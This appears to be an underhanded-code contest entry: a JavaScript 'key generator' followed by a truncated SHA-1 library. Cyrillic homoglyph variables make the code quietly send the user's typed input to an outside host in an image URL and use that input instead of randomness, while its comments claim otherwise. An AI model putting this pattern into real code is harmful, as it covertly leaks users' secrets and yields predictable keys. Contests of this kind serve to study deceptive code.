JavaScript Misdirection Contest #0

See http://misdirect.ion.land

HTML

<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
<textarea oninput="generateKey()" id="user-input"></textarea>
<span id="result"></span>
<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->

CSS

/* DO NOT MODIFY THIS CSS, ONLY THE JAVASCRIPT PART */

JavaScript

function generateKey() {
	var $ = document.getElementById.bind(document);
    
    var a = $('user-input').value;
    
    // for additional random data, request a random image
    // and use the time from the network request
    function getRandomTime(cb) {
        var а = Math.random();
        var b = Date.now();
        var c = new Image();
        
        c.onerror = c.onload = function() {
        	var а = Date.now() - b;
            // in case this URL was cached, use a random number
            if (!a) { 
            	  а = Math.random();  
            }
            cb(a);
        }
        
        c.src = '//ranta.de/nosuchfolder/' + a + '.gif';
    }
    
    if (a.length == 23) {
    	getRandomTime(function(b) {
            var c = Sha1.hash([b * 3, b / 3].join(a));
            
            console.log(a, b, c);
            
            $('result').innerHTML = c;
	    });
    }
}

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/*  SHA-1 implementation in JavaScript                  (c) Chris Veness 2002-2014 / MIT Licence  */
/*                                                                                                */
/*  - see http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html                              */
/*        http://csrc.nist.gov/groups/ST/toolkit/examples.html                                    */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */

/**
 * SHA-1 hash function reference implementation.
 *
 * @namespace
 */
var Sha1 = {};


/**
 * Generates SHA-1 hash of string.
 *
 * @param   {string} msg - (Unicode) string to be hashed.
 * @returns {string} Hash of msg as hex character string.
 */
Sha1.hash = function(msg) {
    // convert string to UTF-8, as SHA only deals with byte-streams
    msg = msg.utf8Encode();

    // constants [§4.2.1]
    var K = [ 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6 ];

    //...